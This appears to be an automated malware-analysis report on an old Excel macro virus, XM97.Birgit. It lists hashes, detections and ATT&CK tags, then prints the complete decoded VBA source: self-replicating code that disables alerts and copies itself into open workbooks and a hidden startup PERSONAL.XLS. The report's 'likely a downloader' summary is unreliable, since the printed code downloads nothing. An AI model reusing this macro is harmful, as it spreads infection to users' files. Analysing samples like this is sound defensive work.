Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 43edf2afcd3bb9a6…

MALICIOUS

Office (OLE)

21.0 KB Created: 1999-06-15 11:37:00 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 30b1b722db45af1d4fca65d47fb12504 SHA-1: 3ed44e253d755723debe5be67a3144f9e93c70d7 SHA-256: 43edf2afcd3bb9a64c70402a1cec1160048d5cb3dfb2cf23328de51296fb4f0b
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros, including an Auto_Open subroutine, which is a common technique for executing malicious code upon file opening. The presence of the 'XM97.Birgit' macro suggests a known malware pattern, though a specific family could not be definitively identified. The script's intent is to run malicious code, likely a downloader, upon execution.

Heuristics 4

  • ClamAV: Xls.Trojan.MVTK-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.MVTK-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2638 bytes
SHA-256: 507bb285164afbb0fa996d5fc4bcae158b043d434497ae36a7e583abca8fd521
Detection
ClamAV: Xls.Trojan.MVTK-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Birgit"
Sub Auto_Open()

    ' -= [zWeiBLuM´s Macro Virii Terror Kit] =-
    ' -= [XM97.Birgit] =-

    ' -= [ID: 23971-Tx-7977996-Tp.X] =-

Application.OnSheetActivate = "SeL8789"
End Sub

Sub SeL8789()
On Error Resume Next
BpTlRn7566 = "Birgit"
GlHfNg8789 = "PERSONAL.XLS"
CfMwVq7977 = Application.StartupPath & "\" & GlHfNg8789
ClSqPi6209GlHfNg996 = 0
UfShJx8789BpTlRn7977 = 0
With Application
.StatusBar = "XM97.Birgit"
.ScreenUpdating = False
.DisplayAlerts = False
.EnableCancelKey = xlDisabled
End With
If Day(Now()) = 19 Then
MsgBox "Birgit or not?", vbOkOnly, "Birgit"
Assistant.Visible = True
With Assistant.NewBalloon
.Text = "Sniff... sniff... I'm ill...."
.Heading = "Sorry... infected by Birgit"
.Show
End With
Assistant.Visible = False
End If
Application.VBE.ActiveVBProject.VBComponents.Item(BpTlRn7566).Export "C:\WINDOWS\SYSTEM\Birgit.sys"
If Dir(CfMwVq7977) = GlHfNg8789 Then UfShJx8789BpTlRn7977 = 1
For x = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComponents(x).Name = BpTlRn7566 Then ClSqPi6209GlHfNg996 = 1
Next x
If ClSqPi6209GlHfNg996 = 0 Then
ActiveWorkbook.VBProject.VBComponents.Import "C:\WINDOWS\SYSTEM\Birgit.sys"
ActiveWorkbook.Save
End If
If UfShJx8789BpTlRn7977 = 0 Then
Workbooks.Add.SaveAs FileName:=CfMwVq7977
ActiveWorkbook.VBProject.VBComponents.Import "C:\WINDOWS\SYSTEM\Birgit.sys"
ActiveWindow.Visible = False
Workbooks(GlHfNg8789).Save
End If
End Sub
Sub Auto_Close()
Application.OnSheetActivate = "SeL8789"
End Sub

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